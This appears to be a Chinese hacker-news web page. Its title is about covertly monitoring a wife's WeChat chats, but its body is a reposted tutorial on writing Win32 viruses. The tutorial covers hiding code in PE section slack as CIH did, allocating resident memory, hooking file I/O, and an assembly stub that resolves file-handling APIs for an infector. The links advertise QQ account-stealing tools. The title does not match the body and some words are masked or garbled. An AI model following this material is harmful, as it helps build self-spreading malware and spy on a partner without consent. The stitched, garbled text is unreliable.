怎么远程监控老婆的微信(同步老婆微信聊天记录

访客4年前黑客资讯1152

Win32下病毒设计入门 

本文假定你对dos下的病毒和386PM有一定的了解。 

1、感染任何一个病毒都需要有寄主,把病毒代码加入寄主程序中
(伴侣病毒除外)。 
以下说明如何将病毒代码嵌入PE文件中,有关PE文件的结构请看以前的文章。 PE文件的典型结构: MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 ... IMPORT TABLE EXPORT TABLE 和DOS的可执行文件类似,PE的代码映象分为几个SECTION,在文件中会对齐 
页边界(4K)。一般来说,文件会加载在400000h开始的空间,而之一个SECTION在401000h处,同时入口地址也是401000h。由高级语言编写的程序,每个SECTIO-N的长度不可能刚好是4K的倍数,因此在SECTION的末尾将会存在一段未用的空间 , 大小可由Section的PHYSICAL SIZE-VIRTUALSIZE得到,在文件中起始位置可由 PHYSICAL OFFSET得到,这段空间可以用来存放病毒代码。此外一般来说, MZ Header+DOS STUD+PE 
HEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右, 而SECTION 1由4K开始,空出来的地方足够存放一个设计精良的病毒。CIH就是将 代码存放在这些空闲空间里。 

2、分配驻留所需内存 
对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的 应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。而在WIN32下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配2GB以上的系统地址。典型的如:VXD服务_PageAllocate,和kernel32的 VxDCALL 
_PageReserve。_PageAllocate请参看win98ddk中的说明,VxDCall _PageReserve 请参看HPS源码中的注释。 

3、截留FILE I/O操作 驻留型的病毒通过截留FILE I/O来激活,可以通过使用VXD服务 
IF *** gr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services callback(如HPS)。 
在Win32下编写病毒不是一件困难的事。值得注意的有几件事: 

一、Win32下的系统功能调用不是通过中断实现,而是由DLL中导出。 
(直接使用VxD服务除外)。直接在病毒中得到API入口不是一件容易的事,可以通过以下这个变通的 *** 。 
在同一个版本的Windows下,同一个核心函数的入口总是固定的
(指由Kernel32,gdi32,user32导出的函数)。因此可以用以下的 *** 得到函数入口: 
.386p 
.model flat,stdcall 
extrn GetModuleHandleA:proc 
extrn GetProcAddress:proc 
extrn ExitProcess:proc 
.data 
szKernel db 'KERNEL32.DLL',0 
szFindFirst db 'FindFirstFileA',0 
szFindNext db 'FindNextFileA',0 
szFindClose db 'FindClose',0 
szGetCurrentDir db 'GetCurrentDirectoryA',0 
szGetWinDir db 'GetWindowsDirectoryA',0 
szGetSysDir db 'GetSystemDirectoryA',0 
szGetFileAttrib db 'GetFileAttributesA',0 
szSetFileAttrib db 'SetFileAttributesA',0 
szlopen db '_lopen',0 
szlread db '_lread',0 
szlwrite db '_lwrite',0 
szlclose db '_lclose',0 
szllseek db '_llseek',0 
hKernel dd 0 
.code 
;Initialize code 
start: 
push szKernel 
call GetModuleHandleA 
mov hKernel,eax 
push szFindFirst 
push hKernel 
call GetProcAddress 
mov FindFirstFile,eax 
.... 
jmp VirusStart 
InitExit: 
push 0 
call ExitProcess 
VirusStart: 
jmp Entry 
HostEntry dd InitExit 
FindFirstFile dd 0 
FindNextFile dd 0 
... 
Entry: 
... 
end start 
在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。

相关文章

没网如何安装网卡驱动?【没网安装网卡驱动教程】

没有网络如何安装无线驱动?连不上网安裝无线驱动实例教程 世界最痛楚的事儿“没中央空调、没外卖送餐、没网络”,见到这句话应当都清晰时下大家置身互联网的全球没有网络是多么的痛楚的一件事情。连接电脑互联网...

黑客能录屏吗(电脑怎么录屏)

黑客能录屏吗(电脑怎么录屏)

本文目录一览: 1、感觉被黑客、病毒录屏了怎么办? 2、感觉电脑被黑客、病毒录屏了怎么办? 3、华为手机突然开始录屏,是不是被黑客黑了现在很慌 4、如果自己用电脑摄像头录像,那么网络上是否...

黑客盗qq的手机软件(专业盗黑客软件手机版本)

黑客盗qq的手机软件(专业盗黑客软件手机版本)

冰河是什么软件,可以盗别人qq吗? 一种木马, 冰河2是目前Internet网上最为流行的中文黑客木马程序,界面直观友好,即使是初学者也非常容易掌握。盗号过程很漫长的,要搞一个木马,木马里要写好怎样发...

交互设计方法论:从交互的角度剖析身边的产品(精华)

交互设计方法论:从交互的角度剖析身边的产品(精华)

有的读者看完《从0到1体验iPod的发现过程》后大概会有许多不领略的词汇,通过本章的阅读,你就能领略那些词汇是什么寄义了,别的读完本章后你也可以或许将身边的所有产物从交互的角度去举办拆解了。 前言的...

必胜客加盟条件有哪些?不苛刻无约束轻松实现致富梦

必胜客加盟条件有哪些?不苛刻无约束轻松实现致富梦

跟着各国文化的不绝的交换,使得一些西方的文化不绝的涌入海内的市场中,浩瀚的西餐品牌也不绝的鼓起和成长起来,同时凭借着西方文化的奇特魅力,吸引了很多的消费者走到西餐的加盟店肆中举办消费,必胜客加盟品牌就...

女孩子应该做点什么好呢(适合女生的工作有哪

女孩子应该做点什么好呢(适合女生的工作有哪

作为女生,就应该找一份适合自己的稳定工作,有稳定的收入才是王道。以下是小编为大家整理的适合女生的工作,仅供大家参考! 适合女生的工作 适合女生的工作1:幼师 幼师这个行业虽说工资水平不是很高...